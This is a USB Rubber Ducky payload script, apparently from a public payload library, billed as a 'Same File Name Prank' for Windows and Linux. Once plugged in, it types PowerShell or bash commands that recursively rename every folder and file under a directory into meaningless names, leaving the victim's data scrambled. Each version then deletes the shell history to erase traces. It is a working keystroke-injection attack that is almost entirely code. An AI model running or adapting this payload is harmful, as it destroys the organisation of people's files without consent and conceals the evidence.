Path: blob/master/payloads/library/prank/Same_File_Name_Prank/payload.txt
2968 views
REM_BLOCK1#############################################2# #3# Title : Same File Name Prank #4# Author : Aleff #5# Version : 1.0 #6# Category : Prank #7# Target : Windows 10/11; GNU/Linux #8# #9#############################################10END_REM1112REM I am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.1314REM %%%%% DEFINE-SECTION %%%%%15REM_BLOCK1617Consider that the main route for Windows generally is “C:\Users\Username\” while for GNU/Linux systems it is something like “/home/username/” but in both cases if for example you add “./Desktop/Hello/World/” you will go to the World folder in the path “C:\Users\Username\Desktop\Hello\World\” for Windows systems and “/home/username/Desktop/Hello/World/” for **GNU/Linux** systems.1819Of course, you have to make sure that this folder exists....2021Payload Settings:22#DIRECTORY_WHERE_TO_RUN_THE_COMMAND - If you feel it is appropriate to run this script within a specific folder you will just need to change this definition.2324Consider the maximum length of file names on both Windows and GNU/Linux:25- Limit on file name length in bash [closed]26|-> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash27- On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)28|-> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap2930END_REM31DEFINE #DIRECTORY_WHERE_TO_RUN_THE_COMMAND .3233REM Set TARGET_WINDOWS to TRUE if the script will run on a Windows system.34REM Set TARGET_LINUX to TRUE if the script will run on a GNU/Linux system.35DEFINE #TARGET_WINDOWS TRUE36DEFINE #TARGET_GNU_LINUX FALSE3738REM %%%%% PAYLOAD-SECTION %%%%%3940IF (( #TARGET_WINDOWS == TRUE) && (#TARGET_GNU_LINUX == FALSE)) THEN41REM %%%%% WINDOWS CODE %%%%%4243REM_BLOCK44Credits: Hak5 LLC45Website: https://hak5.org/46Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt47END_REM4849EXTENSION PASSIVE_WINDOWS_DETECT50REM VERSION 1.151REM AUTHOR: Korben5253REM_BLOCK DOCUMENTATION54Windows fully passive OS Detection and passive Detect Ready55Includes its own passive detect ready.56Does not require additional extensions.5758USAGE:59Extension runs inline (here)60Place at beginning of payload (besides ATTACKMODE) to act as dynamic61boot delay62$_OS will be set to WINDOWS or NOT_WINDOWS63See end of payload for usage within payload64END_REM6566REM CONFIGURATION:67DEFINE #MAX_WAIT 15068DEFINE #CHECK_INTERVAL 2069DEFINE #WINDOWS_HOST_REQUEST_COUNT 270DEFINE #NOT_WINDOWS 77172$_OS = #NOT_WINDOWS7374VAR $MAX_TRIES = #MAX_WAIT75WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))76DELAY #CHECK_INTERVAL77$MAX_TRIES = ($MAX_TRIES - 1)78END_WHILE79IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN80$_OS = WINDOWS81END_IF8283REM_BLOCK EXAMPLE USAGE AFTER EXTENSION84IF ($_OS == WINDOWS) THEN85STRING HELLO WINDOWS!86ELSE87STRING HELLO WORLD!88END_IF89END_REM90END_EXTENSION9192GUI r93DELAY 100094STRINGLN PowerShell95DELAY 10009697STRINGLN_POWERSHELL98cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND99100function Rename-Directories {101param (102[string]$path,103[ref]$counter104)105106$folders = Get-ChildItem -Path $path -Directory -Recurse | Sort-Object FullName -Descending107foreach ($folder in $folders) {108$newFolderName = "d" * $counter.Value # Crea il nuovo nome della cartella109$newFolderPath = $newFolderName110111$counter.Value++112113Rename-Item -Path $folder.FullName -NewName $newFolderPath114Write-Host "Rinominata cartella: $($folder.FullName) -> $($newFolderPath)"115}116}117118function Rename-Files {119param (120[string]$path,121[ref]$counter122)123$files = Get-ChildItem -Path $path -File -Recurse124foreach ($file in $files) {125$newFileName = "a" + " " * $counter.Value # Crea il nuovo nome del file126$newFilePath = "$newFileName" + $file.Extension127128$counter.Value++129130Rename-Item -Path $file.FullName -NewName $newFilePath131}132}133134$counter = 1; Rename-Directories -path $basePath -counter ([ref]$counter); $counter = 1; Rename-Files -path $basePath -counter ([ref]$counter); Remove-Item (Get-PSReadlineOption).HistorySavePath; exit135END_STRINGLN136137ELSE IF (( #TARGET_WINDOWS == FALSE) && (#TARGET_GNU_LINUX == TRUE)) THEN138REM %%%%% GNU/LINUX CODE %%%%%139140REM_BLOCK141Credits: Hak5 LLC142Website: https://hak5.org/143Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/detect_ready.txt144END_REM145146EXTENSION DETECT_READY147REM VERSION 1.1148REM AUTHOR: Korben149150REM_BLOCK DOCUMENTATION151USAGE:152Extension runs inline (here)153Place at beginning of payload (besides ATTACKMODE) to act as dynamic154boot delay155156TARGETS:157Any system that reflects CAPSLOCK will detect minimum required delay158Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms159END_REM160161REM CONFIGURATION:162DEFINE #RESPONSE_DELAY 25163DEFINE #ITERATION_LIMIT 120164165VAR $C = 0166WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))167CAPSLOCK168DELAY #RESPONSE_DELAY169$C = ($C + 1)170END_WHILE171CAPSLOCK172END_EXTENSION173174CTRL-ALT t175DELAY 1000176177STRINGLN_BASH178cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND179180rename_directories() {181local path=$1182local counter=$2183184directories=$(find "$path" -type d | sort -r)185186for dir in $directories; do187new_folder_name=$(printf 'd%.0s' $(seq 1 "$counter")) # Crea il nuovo nome della cartella188new_folder_path="$path/$new_folder_name"189190counter=$((counter + 1))191192mv "$dir" "$new_folder_path"193done194}195196rename_files() {197local path=$1198local counter=$2199200files=$(find "$path" -type f)201202for file in $files; do203extension="${file##*.}"204205new_file_name="a$(printf ' %.0s' $(seq 1 "$counter"))"206207new_file_path="$(dirname "$file")/$new_file_name"208209if [[ "$extension" != "$file" ]]; then210new_file_path="$new_file_path.$extension"211fi212213counter=$((counter + 1))214215mv "$file" "$new_file_path"216done217}218219counter=1; rename_directories "$base_path" $counter; counter=1; rename_files "$base_path" $counter; rm $HISTFILE; exit220END_STRINGLN221END_IF222223